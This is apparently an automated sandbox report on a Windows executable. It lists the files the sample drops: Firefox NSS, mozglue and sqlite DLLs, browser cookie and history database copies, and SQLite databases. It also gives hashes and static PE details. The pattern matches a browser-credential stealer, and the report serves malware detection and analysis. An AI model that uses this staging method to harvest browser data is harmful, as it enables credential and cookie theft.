Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1246160
Entropy (8bit):	6.765536416094505
Encrypted:	false
SSDEEP:	24576:Sb5zzlswYNYLVJAwfpeYQ1Dw/fEE8DhSJVIVfRyAkgO6S/V/jbHpls4MSRSMxkoo:4zW5ygDwnEZIYkjgWjblMSRSMqH
MD5:	BFAC4E3C5908856BA17D41EDCD455A51
SHA1:	8EEC7E888767AA9E4CCA8FF246EB2AACB9170428
SHA-256:	E2935B5B28550D47DC971F456D6961F20D1633B4892998750140E0EAA9AE9D78
SHA-512:	2565BAB776C4D732FFB1F9B415992A4C65B81BCD644A9A1DF1333A269E322925FC1DF4F76913463296EFD7C88EF194C3056DE2F1CA1357D7B5FE5FF0DA877A66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.4.g.Z.g.Z.g.Z.n...s.Z..[.e.Z..B..c.Z..Y.j.Z.._.m.Z..^.l.Z.E.[.o.Z..[.d.Z.g.[..Z..^.m.Z..Z.f.Z....f.Z..X.f.Z.Richg.Z.................PE..L....b.[.........."!................w........................................@............@..................................=..T.......p........................}..p...T..............................@............................................text............................... ..`.rdata...R.......T..................@..@.data...tG...`..."...B..............@....rsrc...p............d..............@..@.reloc...}.......~...h..............@..B........................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144848
Entropy (8bit):	6.539750563864442
Encrypted:	false
SSDEEP:	3072:UAf6suip+d7FEk/oJz69sFaXeu9CoT2nIVFetBWsqeFwdMIo:p6PbsF4CoT2OeU4SMB
MD5:	A2EE53DE9167BF0D6C019303B7CA84E5
SHA1:	2A3C737FA1157E8483815E98B666408A18C0DB42
SHA-256:	43536ADEF2DDCC811C28D35FA6CE3031029A2424AD393989DB36169FF2995083
SHA-512:	45B56432244F86321FA88FBCCA6A0D2A2F7F4E0648C1D7D7B1866ADC9DAA5EDDD9F6BB73662149F279C9AB60930DAD1113C8337CB5E6EC9EED5048322F65F7D8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L....b.[.........."!.........b...............................................P............@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\ProgramData\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	334288
Entropy (8bit):	6.807000203861606
Encrypted:	false
SSDEEP:	6144:C8YBC2NpfYjGg7t5xb7WOBOLFwh8yGHrIrvqqDL6XPowD:CbG7F35BVh8yIZqn65D
MD5:	EF2834AC4EE7D6724F255BEAF527E635
SHA1:	5BE8C1E73A21B49F353C2ECFA4108E43A883CB7B
SHA-256:	A770ECBA3B08BBABD0A567FC978E50615F8B346709F8EB3CFACF3FAAB24090BA
SHA-512:	C6EA0E4347CBD7EF5E80AE8C0AFDCA20EA23AC2BDD963361DFAF562A9AED58DCBC43F89DD826692A064D76C3F4B3E92361AF7B79A6D16A75D9951591AE3544D2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$........./...AV..AV..AV...V..AV].@W..AV.1.V..AV].BW..AV].DW..AV].EW..AV..@W..AVO.@W..AV..@V.AVO.BW..AVO.EW..AVO.AW..AVO.V..AVO.CW..AVRich..AV........................PE..L....b.[.........."!.........f......)........................................p.......s....@.........................p...P............@..x....................P......0...T...............................@...............8............................text...t........................... ..`.rdata..............................@..@.data...,H..........................@....rsrc...x....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	137168
Entropy (8bit):	6.78390291752429
Encrypted:	false
SSDEEP:	3072:7Gyzk/x2Wp53pUzPoNpj/kVghp1qt/dXDyp4D2JJJvPhrSeTuk:6yQ2Wp53iO/kVghp12/dXDyyD2JJJvPR
MD5:	8F73C08A9660691143661BF7332C3C27
SHA1:	37FA65DD737C50FDA710FDBDE89E51374D0C204A
SHA-256:	3FE6B1C54B8CF28F571E0C5D6636B4069A8AB00B4F11DD842CFEC00691D0C9CD
SHA-512:	0042ECF9B3571BB5EBA2DE893E8B2371DF18F7C5A589F52EE66E4BFBAA15A5B8B7CC6A155792AAA8988528C27196896D5E82E1751C998BACEA0D92395F66AD89
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........U..;..;..;.....;.W....;...8..;...?..;...:..;...>..;...:...;..:.w.;...?..;...>..;...;..;......;...9..;.Rich.;.........................PE..L...._.[.........."!.....z...................................................@.......3....@A........................@...t.......,.... ..x....................0..h.......T...................T.......h...@...................l........................text....x.......z.................. ..`.rdata..^e.......f...~..............@..@.data...............................@....didat..8...........................@....rsrc...x.... ......................@..@.reloc..h....0......................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	440120
Entropy (8bit):	6.652844702578311
Encrypted:	false
SSDEEP:	12288:Mlp4PwrPTlZ+/wKzY+dM+gjZ+UGhUgiW6QR7t5s03Ooc8dHkC2es9oV:Mlp4PePozGMA03Ooc8dHkC2ecI
MD5:	109F0F02FD37C84BFC7508D4227D7ED5
SHA1:	EF7420141BB15AC334D3964082361A460BFDB975
SHA-256:	334E69AC9367F708CE601A6F490FF227D6C20636DA5222F148B25831D22E13D4
SHA-512:	46EB62B65817365C249B48863D894B4669E20FCB3992E747CD5C9FDD57968E1B2CF7418D1C9340A89865EADDA362B8DB51947EB4427412EB83B35994F932FD39
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........A.........V5=......A.....;........."...;......;......;.......;.......;......;.-....;......Rich...........PE..L....8'Y.........."!................P........ ......................................az....@A.........................C.......R..,....................x..8?......4:...f..8............................(..@............P.......@..@....................text...r........................... ..`.data....(... ......................@....idata..6....P....... ..............@..@.didat..4....p.......6..............@....rsrc................8..............@..@.reloc..4:.......<...<..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1246160
Entropy (8bit):	6.765536416094505
Encrypted:	false
SSDEEP:	24576:Sb5zzlswYNYLVJAwfpeYQ1Dw/fEE8DhSJVIVfRyAkgO6S/V/jbHpls4MSRSMxkoo:4zW5ygDwnEZIYkjgWjblMSRSMqH
MD5:	BFAC4E3C5908856BA17D41EDCD455A51
SHA1:	8EEC7E888767AA9E4CCA8FF246EB2AACB9170428
SHA-256:	E2935B5B28550D47DC971F456D6961F20D1633B4892998750140E0EAA9AE9D78
SHA-512:	2565BAB776C4D732FFB1F9B415992A4C65B81BCD644A9A1DF1333A269E322925FC1DF4F76913463296EFD7C88EF194C3056DE2F1CA1357D7B5FE5FF0DA877A66
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......#.4.g.Z.g.Z.g.Z.n...s.Z..[.e.Z..B..c.Z..Y.j.Z.._.m.Z..^.l.Z.E.[.o.Z..[.d.Z.g.[..Z..^.m.Z..Z.f.Z....f.Z..X.f.Z.Richg.Z.................PE..L....b.[.........."!................w........................................@............@..................................=..T.......p........................}..p...T..............................@............................................text............................... ..`.rdata...R.......T..................@..@.data...tG...`..."...B..............@....rsrc...p............d..............@..@.reloc...}.......~...h..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	144848
Entropy (8bit):	6.539750563864442
Encrypted:	false
SSDEEP:	3072:UAf6suip+d7FEk/oJz69sFaXeu9CoT2nIVFetBWsqeFwdMIo:p6PbsF4CoT2OeU4SMB
MD5:	A2EE53DE9167BF0D6C019303B7CA84E5
SHA1:	2A3C737FA1157E8483815E98B666408A18C0DB42
SHA-256:	43536ADEF2DDCC811C28D35FA6CE3031029A2424AD393989DB36169FF2995083
SHA-512:	45B56432244F86321FA88FBCCA6A0D2A2F7F4E0648C1D7D7B1866ADC9DAA5EDDD9F6BB73662149F279C9AB60930DAD1113C8337CB5E6EC9EED5048322F65F7D8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l$...JO..JO..JO.u.O..JO?oKN..JO?oIN..JO?oON..JO?oNN..JO.mKN..JO-nKN..JO..KO~.JO-nNN..JO-nJN..JO-n.O..JO-nHN..JORich..JO........PE..L....b.[.........."!.........b...............................................P............@..........................................0..x....................@..`.......T...........................(...@...............l............................text.............................. ..`.rdata...D.......F..................@..@.data........ ......................@....rsrc...x....0......................@..@.reloc..`....@......................@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sqlite3[1].dll

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	645592
Entropy (8bit):	6.50414583238337
Encrypted:	false
SSDEEP:	12288:i0zrcH2F3OfwjtWvuFEmhx0Cj37670jwX+E7tFKm0qTYh:iJUOfwh8u9hx0D70NE7tFTYh
MD5:	E477A96C8F2B18D6B5C27BDE49C990BF
SHA1:	E980C9BF41330D1E5BD04556DB4646A0210F7409
SHA-256:	16574F51785B0E2FC29C2C61477EB47BB39F714829999511DC8952B43AB17660
SHA-512:	335A86268E7C0E568B1C30981EC644E6CD332E66F96D2551B58A82515316693C1859D87B4F4B7310CF1AC386CEE671580FDD999C3BCB23ACF2C2282C01C8798C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....=S.v..?......!................X..............`......................... ......8......... .................................L................................'......................................................p............................text...............................`.0`.data...............................@.@..rdata..$...........................@.@@.bss..................................@..edata..............................@.0@.idata..L...........................@.0..CRT................................@.0..tls.... ...........................@.0..reloc...'.......(..................@.0B/4......`....0......................@.@B/19..........@......................@..B/35.....M....P......................@..B/51.....`C...`...D..................@..B/63..................8..............@..B/77..................F..............@..B/89..................R..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	83784
Entropy (8bit):	6.890347360270656
Encrypted:	false
SSDEEP:	1536:AQXQNgAuCDeHFtg3uYQkDqiVsv39niI35kU2yecbVKHHwhbfugbZyk:AQXQNVDeHFtO5d/A39ie6yecbVKHHwJF
MD5:	7587BF9CB4147022CD5681B015183046
SHA1:	F2106306A8F6F0DA5AFB7FC765CFA0757AD5A628
SHA-256:	C40BB03199A2054DABFC7A8E01D6098E91DE7193619EFFBD0F142A7BF031C14D
SHA-512:	0B63E4979846CEBA1B1ED8470432EA6AA18CCA66B5F5322D17B14BC0DFA4B2EE09CA300A016E16A01DB5123E4E022820698F46D9BAD1078BD24675B4B181E91F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........NE...E...E.....".G...L.^.N...E...l.......U.......V.......A......._.......D.....2.D.......D...RichE...........PE..L....8'Y.........."!......... ...............................................@............@A......................................... ..................H?...0..........8...............................@............................................text............................... ..`.data...D...........................@....idata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\5PZCTRI5

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\5XB1VS0R

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\689H4O89

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\9HDJWBSR

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\IW479RIW

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\OHL68YCT

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\S26FU3EK

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	0.47147045728725767
Encrypted:	false
SSDEEP:	96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
MD5:	A2D1F4CF66465F9F0CAC61C4A95C7EDE
SHA1:	BA6A845E247B221AAEC96C4213E1FD3744B10A27
SHA-256:	B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
SHA-512:	C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\V3E3OP8Q

Download File

Process:	C:\Users\user\Desktop\IrAr85Qv7X.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.30871381320527
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	IrAr85Qv7X.exe
File size:	110'080 bytes
MD5:	52e9f55d274e2ee01959fe2d8297a927
SHA1:	b16e5df39a96c81edb1e98239031b75834b07a87
SHA256:	d180729ea9f2346e9abd7d96fc1d0ae39fa012d9660f50f79c71b9f828b88dc0
SHA512:	2e51d8c331690ca97a05bb89490d179a0c50dae1b1e0def82aa7f023376b8ecc844a85b74e54be55695d05ee7623bb2bd064df836e5307d3687de1e6fda8cc1c
SSDEEP:	3072:VGo3Lc37ACx6oXKo39HxEcKe/h/RS8RMr:V33Lcrdxq+JhM
TLSH:	04B3C064E0118527D852413E82932FB8C8B5C87A071738EBFFC475D62674ADDAE2AD1F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........6...XY..XY..XY...Y..XY..YX..XY..YY..XY...Y..XY...Y..XYRich..XY........PE..L......a.....................................@....@

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x42e084
Entrypoint Section:	LLCPPC
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x61D5A684 [Wed Jan 5 14:09:08 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	4470b7e70278da6ba1602d95a01e308a

